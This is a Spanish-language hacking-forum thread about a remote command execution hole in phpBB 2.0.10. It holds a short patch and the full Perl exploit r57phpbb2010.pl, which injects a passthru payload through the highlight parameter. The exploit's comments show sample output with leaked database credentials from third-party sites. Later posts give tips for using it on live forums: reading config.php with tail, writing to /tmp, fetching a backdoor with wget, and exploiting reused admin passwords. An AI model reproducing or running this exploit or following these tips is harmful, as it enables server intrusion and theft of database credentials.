Tema destacado: Grupo de acebook de elhacker.net
Autor
|
Tema: Grave agujero foros phpBB <=2.0.10 (Leído 5,247 veces)
|
|
el-brujo
|
|
|
|
|
|
En línea
|
"elhacker.net es único, por eso no fabrica para otras marcas" - Prohibido prohibir 
|
|
|
|
3x5p4m3r
|
sip se da en viewtopic.php lo parcheas asi: abres el archivo openviewtopic.php con algun editor de texto y sale: // // Was a highlight request part of the URI? // $highlight_match = $highlight = ''; if (isset($HTTP_GET_VARS['highlight'])) { // Split words and phrases $words = explode(' ', trim(htmlspecialchars(urldecode($HTTP_GET_VARS['highlight'])))); for($i = 0; $i < sizeof($words); $i++) { y Lo quitas y pones este: // // Was a highlight request part of the URI? // $highlight_match = $highlight = ''; if (isset($HTTP_GET_VARS['highlight'])) { // Split words and phrases $words = explode(' ', trim(htmlspecialchars($HTTP_GET_VARS['highlight']))); for($i = 0; $i < sizeof($words); $i++) {
|
|
|
|
|
En línea
|
|
|
|
|
3x5p4m3r
|
ahi va el xploit #!/usr/bin/perl use IO::Socket; ## @@@@@@@ @@@ @@@ @@@@@@ @@@ @@@ ## @@! @@@ @@! @@@ !@@ @@! @@@ ## @!@!!@! @!@ !@! !@@!! @!@!@!@! ## !!: :!! !!: !!! !:! !!: !!! ## : : : :.:: : ::.: : : : : ## ## phpBB <= 2.0.10 remote commands exec exploit ## based on http://securityfocus.com/archive/1/380993/2004-11-07/2004-11-13/0 ## succesfully tested on: 2.0.6 , 2.0.8 , 2.0.9 , 2.0.10 ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ## example... ## he-he-he ... read http://www.phpbb.com/phpBB/viewtopic.php?t=239819 ## The third issue, search highlighting, has been checked by us several times and we can do ## nothing with it at all. Again, that particular group admit likewise. In a future release ## of 2.0.x we will eliminate the problem once and for all, but as noted it cannot (to our ## knowledge and as noted, testing) be taken advantage of and thus is not considered by us to ## be cause for an immediate release. ## heh... ## ## r57phpbb2010.pl www.phpbb.com /phpBB/ 239819 "ls -la" ## *** CMD: [ ls -la ] ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ## total 507 ## drwxr-xr-x 12 dhn phpbb 896 Oct 13 18:23 . ## drwxrwxr-x 19 root phpbb 1112 Nov 12 15:08 .. ## drwxr-xr-x 2 dhn phpbb 152 Oct 13 18:23 CVS ## drwxr-xr-x 3 dhn phpbb 944 Jul 19 15:17 admin ## drwxrwxrwx 5 dhn phpbb 160 Aug 14 21:19 cache ## -rw-r--r-- 1 dhn phpbb 44413 Mar 11 2004 catdb.php ## -rw-r--r-- 1 dhn phpbb 5798 Jul 19 15:17 common.php ## -rw-r--r-- 1 root root 264 Jul 2 08:05 config.php ## drwxr-xr-x 3 dhn phpbb 136 Jun 24 06:40 db ## drwxr-xr-x 3 dhn phpbb 320 Jul 19 15:17 docs ## -rw-r--r-- 1 dhn phpbb 814 Oct 30 2003 extension.inc ## -rw-r--r-- 1 dhn phpbb 3646 Jul 10 04:21 faq.php ## drwxr-xr-x 2 dhn phpbb 96 Aug 12 14:59 files ## -rw-r--r-- 1 dhn phpbb 45642 Jul 12 12:42 groupcp.php ## drwxr-xr-x 7 dhn phpbb 240 Aug 12 16:22 images ## drwxr-xr-x 3 dhn phpbb 1048 Jul 19 15:17 includes ## -rw-r--r-- 1 dhn phpbb 14518 Jul 10 04:21 index.php ## drwxr-xr-x 60 dhn phpbb 2008 Sep 27 01:54 language ## -rw-r--r-- 1 dhn phpbb 7481 Jul 19 15:17 login.php ## -rw-r--r-- 1 dhn phpbb 12321 Mar 4 2004 memberlist.php ## -rw-r--r-- 1 dhn phpbb 37639 Jul 10 04:21 modcp.php ## -rw-r--r-- 1 dhn phpbb 45945 Mar 24 2004 mods_manager.php ## -rw-r--r-- 1 dhn phpbb 34447 Jul 10 04:21 posting.php ## -rw-r--r-- 1 dhn phpbb 72580 Jul 10 04:21 privmsg.php ## -rw-r--r-- 1 dhn phpbb 4190 Jul 12 12:42 profile.php ## -rw-r--r-- 1 dhn phpbb 16276 Oct 13 18:23 rules.php ## -rw-r--r-- 1 dhn phpbb 42694 Jul 19 15:17 search.php ## drwxr-xr-x 4 dhn phpbb 136 Jun 24 06:41 templates ## -rw-r--r-- 1 dhn phpbb 23151 Mar 13 2004 viewforum.php ## -rw-r--r-- 1 dhn phpbb 7237 Jul 10 04:21 viewonline.php ## -rw-r--r-- 1 dhn phpbb 45151 Jul 10 04:21 viewtopic.php ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ## r57phpbb2010.pl www.phpbb.com /phpBB/ 239819 "cat config.php" ## *** CMD: [ cat config.php ] ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ## $dbms = "mysql"; ## $dbhost = "localhost"; ## $dbname = "phpbb"; ## $dbuser = "phpbb"; ## $dbpasswd = "phpBB_R0cKs"; ## $table_prefix = "phpbb_"; ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ## rocksss.... ## ## P.S. this code public after phpbb.com was defaced by really stupid man with nickname tristam... ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ## fucking lamaz... ## ## ccteam.ru ## $dbname = "ccteam_phpbb2"; ## $dbuser = "ccteam_userphpbb"; ## $dbpasswd = "XCbRsoy1"; ## ## eat this dude... ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ if (@ARGV < 4) { print q(############################################################ phpBB <=2.0.10 remote command execution exploit by RusH security team // www.rst.void.ru ############################################################ usage: r57phpbb2010.pl [URL] [DIR] [NUM] [CMD] params: [URL] - server url e.g. www.phpbb.com [DIR] - directory where phpBB installed e.g. /phpBB/ or / [NUM] - number of existing topic [CMD] - command for execute e.g. ls or "ls -la" ############################################################ ); exit; } $serv = $ARGV[0]; $dir = $ARGV[1]; $topic = $ARGV[2]; $cmd = $ARGV[3]; $serv =~ s/(http:\/\/)//eg; print "*** CMD: [ $cmd ]\r\n"; print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n"; $cmd=~ s/(.*);$/$1/eg; $cmd=~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; $topic=~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; $path = $dir; $path .= 'viewtopic.php?t='; $path .= $topic; $path .= '&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20'; $path .= $cmd; $path .= '%3B%20%65%63%68%6F%20%5F%45%4E%44%5F'; $path .= '&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54% 5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527'; $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "[-] CONNECT FAILED\r\n"; print $socket "GET $path HTTP/1.1\n"; print $socket "Host: $serv\n"; print $socket "Accept: */*\n"; print $socket "Connection: close\n\n"; $on = 0; while ($answer = <$socket>) { if ($answer =~ /^_END_/) { print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n"; exit(); } if ($on == 1) { print " $answer"; } if ($answer =~ /^_START_/) { $on = 1; } } print "[-] EXPLOIT FAILED\r\n"; print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n"; ### EOF ###
|
|
|
|
|
En línea
|
|
|
|
|
el-brujo
|
ese exploit en perl lamentablemente no funciona... y ya lo puse el códgio en el primer mensaje.... Exploit en perl: http://www.k-otik.com/exploits/20041122.r57phpbb2010.pl.phpno me he puesto a mirar que es lo que falla, pero te aseguro que no funciona. Aquí está una sencilla aplicación que si que funciona.... http://www.eaxposed.com/download.php?id=1138Sólo funciona si está habilitado la función system del php. y los permisos que tenemos son los del usuario del apache (normalmente nobody).
|
|
|
|
« Última modificación: 27 Noviembre 2004, 01:55 por el-brujo »
|
En línea
|
"elhacker.net es único, por eso no fabrica para otras marcas" - Prohibido prohibir 
|
|
|
individuo
Desconectado
Mensajes: 3
|
Me he bajado el link puesto por brujo y si funiona, coloco listar y me aparecen los archivos, pero al momento de intentar hacer un cat, no me muestra nada.
coloco cat file
Será error del programa o lo estoy haciendo mal.
|
|
|
|
|
En línea
|
|
|
|
individuo
Desconectado
Mensajes: 3
|
Puedo realizar cat a otros archivos, pero al config.php no.
|
|
|
|
|
En línea
|
|
|
|
Ambolius
Desconectado
Mensajes: 1.338
/España/Guadalajara
|
individuo; el brujo te dio la solucion a tu problema: y los permisos que tenemos son los del usuario del apache(normalmente nobody). de todos modos siempre puedes poner: $id $whoami Para saber que usuario eres. ls -l Podras ver los permisos de los archivos (Lectura R, Escritura W y Ejecucion X). Y como siempre en tres grupos: 1- Usuario creador del archivo 2- Grupo primario del usuario propietario 3- Resto usuarios. etc, etc, etc...
|
|
|
|
|
En línea
|
Un informático a otro: - ¿Cuantos eran los Dálmatas? - 101. - Por el culo te la hinco.
|
|
|
|
3x5p4m3r
|
puse ls -l y me arrojo esto:
total 416 drwxr-xr-x 2 truth1 truth1 4096 Jul 17 08:58 admin drwxr-xr-x 2 truth1 truth1 4096 Jul 10 11:16 cache -rw-r--r-- 1 truth1 truth1 5796 Jul 17 08:58 common.php -rwxrwxrwx 1 truth1 truth1 269 Oct 29 09:00 config.php drwxr-xr-x 2 truth1 truth1 4096 Jul 17 08:58 db drwxr-xr-x 2 truth1 truth1 4096 Jul 17 08:58 docs -rw-r--r-- 1 truth1 truth1 810 Jul 17 08:58 extension.inc -rw-r--r-- 1 truth1 truth1 3643 Jul 17 08:58 faq.php -rw-r--r-- 1 truth1 truth1 45641 Jul 17 08:58 groupcp.php drwxr-xr-x 4 truth1 truth1 4096 Jul 17 08:58 images drwxr-xr-x 2 truth1 truth1 4096 Jul 17 08:58 includes -rw-r--r-- 1 truth1 truth1 14515 Jul 17 08:58 index.php drwxr-xr-x 3 truth1 truth1 4096 Jul 17 08:58 language -rw-r--r-- 1 truth1 truth1 7479 Jul 17 08:58 login.php -rw-r--r-- 1 truth1 truth1 12150 Jul 17 08:58 memberlist.php -rw-r--r-- 1 truth1 truth1 37639 Jul 17 08:58 modcp.php -rw-r--r-- 1 truth1 truth1 34446 Jul 17 08:58 posting.php -rw-r--r-- 1 truth1 truth1 72578 Jul 17 08:58 privmsg.php -rw-r--r-- 1 truth1 truth1 3753 Jul 17 08:58 profile.php -rw-r--r-- 1 truth1 truth1 42692 Jul 17 08:58 search.php drwxr-xr-x 4 truth1 truth1 4096 Oct 29 09:17 templates -rw-r--r-- 1 truth1 truth1 23154 Jul 17 08:58 viewforum.php -rw-r--r-- 1 truth1 truth1 7234 Jul 17 08:58 viewonline.php -rw-r--r-- 1 truth1 truth1 45150 Jul 17 08:58 viewtopic.php total 416 drwxr-xr-x 2 truth1 truth1 4096 Jul 17 08:58 admin drwxr-xr-x 2 truth1 truth1 4096 Jul 10 11:16 cache -rw-r--r-- 1 truth1 truth1 5796 Jul 17 08:58 common.php -rwxrwxrwx 1 truth1 truth1 269 Oct 29 09:00 config.php drwxr-xr-x 2 truth1 truth1 4096 Jul 17 08:58 db drwxr-xr-x 2 truth1 truth1 4096 Jul 17 08:58 docs -rw-r--r-- 1 truth1 truth1 810 Jul 17 08:58 extension.inc -rw-r--r-- 1 truth1 truth1 3643 Jul 17 08:58 faq.php -rw-r--r-- 1 truth1 truth1 45641 Jul 17 08:58 groupcp.php drwxr-xr-x 4 truth1 truth1 4096 Jul 17 08:58 images drwxr-xr-x 2 truth1 truth1 4096 Jul 17 08:58 includes -rw-r--r-- 1 truth1 truth1 14515 Jul 17 08:58 index.php drwxr-xr-x 3 truth1 truth1 4096 Jul 17 08:58 language -rw-r--r-- 1 truth1 truth1 7479 Jul 17 08:58 login.php -rw-r--r-- 1 truth1 truth1 12150 Jul 17 08:58 memberlist.php -rw-r--r-- 1 truth1 truth1 37639 Jul 17 08:58 modcp.php -rw-r--r-- 1 truth1 truth1 34446 Jul 17 08:58 posting.php -rw-r--r-- 1 truth1 truth1 72578 Jul 17 08:58 privmsg.php -rw-r--r-- 1 truth1 truth1 3753 Jul 17 08:58 profile.php -rw-r--r-- 1 truth1 truth1 42692 Jul 17 08:58 search.php drwxr-xr-x 4 truth1 truth1 4096 Oct 29 09:17 templates -rw-r--r-- 1 truth1 truth1 23154 Jul 17 08:58 viewforum.php -rw-r--r-- 1 truth1 truth1 7234 Jul 17 08:58 viewonline.php -rw-r--r-- 1 truth1 truth1 45150 Jul 17 08:58 viewtopic.php total 416 drwxr-xr-x 2 truth1 truth1 4096 Jul 17 08:58 admin drwxr-xr-x 2 truth1 truth1 4096 Jul 10 11:16 cache -rw-r--r-- 1 truth1 truth1 5796 Jul 17 08:58 common.php -rwxrwxrwx 1 truth1 truth1 269 Oct 29 09:00 config.php drwxr-xr-x 2 truth1 truth1 4096 Jul 17 08:58 db drwxr-xr-x 2 truth1 truth1 4096 Jul 17 08:58 docs -rw-r--r-- 1 truth1 truth1 810 Jul 17 08:58 extension.inc -rw-r--r-- 1 truth1 truth1 3643 Jul 17 08:58 faq.php -rw-r--r-- 1 truth1 truth1 45641 Jul 17 08:58 groupcp.php drwxr-xr-x 4 truth1 truth1 4096 Jul 17 08:58 images drwxr-xr-x 2 truth1 truth1 4096 Jul 17 08:58 includes -rw-r--r-- 1 truth1 truth1 14515 Jul 17 08:58 index.php drwxr-xr-x 3 truth1 truth1 4096 Jul 17 08:58 language -rw-r--r-- 1 truth1 truth1 7479 Jul 17 08:58 login.php -rw-r--r-- 1 truth1 truth1 12150 Jul 17 08:58 memberlist.php -rw-r--r-- 1 truth1 truth1 37639 Jul 17 08:58 modcp.php -rw-r--r-- 1 truth1 truth1 34446 Jul 17 08:58 posting.php -rw-r--r-- 1 truth1 truth1 72578 Jul 17 08:58 privmsg.php -rw-r--r-- 1 truth1 truth1 3753 Jul 17 08:58 profile.php -rw-r--r-- 1 truth1 truth1 42692 Jul 17 08:58 search.php drwxr-xr-x 4 truth1 truth1 4096 Oct 29 09:17 templates -rw-r--r-- 1 truth1 truth1 23154 Jul 17 08:58 viewforum.php -rw-r--r-- 1 truth1 truth1 7234 Jul 17 08:58 viewonline.php -rw-r--r-- 1 truth1 truth1 45150 Jul 17 08:58 viewtopic.php
pero como los puedo ver?
|
|
|
|
|
En línea
|
|
|
|
Crack_X
Anti-War
Ex-Staff
Desconectado
Mensajes: 2.320
Peace & Love
|
cat > archivo.php , me imagino que deberia de funcionar
|
|
|
|
|
En línea
|
|
|
|
individuo
Desconectado
Mensajes: 3
|
individuo; el brujo te dio la solucion a tu problema: y los permisos que tenemos son los del usuario del apache(normalmente nobody). de todos modos siempre puedes poner: $id $whoami Para saber que usuario eres. El problema no son los permisos, y según yo tengo entendido con un usuario nobody si se puede realizar cat, es más, puedo hacer cat a muchos archivos pero cuando se trata sobre algún archivo que almacena valor en variables o constantes no me deja. Y no es error del servidor, porque tengo una shell con permisos nobody y si puedo hacer cat a archivos que almacenan valores.
|
|
|
|
|
En línea
|
|
|
|
|
el-brujo
|
cat > archivo.php en todo caso sería cat config.php > /tmp config.tx t ¿? Como nobody sólo te dejerá escribir en el /tmp El view config.php también funciona, pero da un error al pasarlo por el system de la función php (lo que comenta individuo). Creo que ya se han dado muchas pistas, yo no soy ningún experto en el tema, pero buscando info, busqué el r0nin (un backdoor), y si te deja el wget......, y el /tmp normal (sin noexec), ya puedes hacer "demasiadas" cosas.
|
|
|
|
|
En línea
|
"elhacker.net es único, por eso no fabrica para otras marcas" - Prohibido prohibir 
|
|
|
|
3x5p4m3r
|
no las he provado esas, pero esta si que sirve
tail config.php
ponganla y van a ver :|
|
|
|
|
|
En línea
|
|
|
|
|
Man-In-the-Middle
|
auchhh!!!!!!!
?>$dbhost = 'localhost'; $dbname = 'xxxx_phpbb'; $dbuser = 'xxxx'; $dbpasswd = 'xxxx'; $table_prefix = 'phpbb_'; define('PHPBB_INSTALLED', true); ?
|
|
|
|
|
En línea
|
|
|
|
|
|
|
3x5p4m3r
|
mm es lo mismo que sale con el xploit, nada mas lo compilas pones el topic, comando tail config.php y numero que quieras y te va a salir los datos de su BD como a man in the midle y aparte algunos admins usan el mismo pass para todo 
|
|
|
|
|
En línea
|
|
|
|
|
|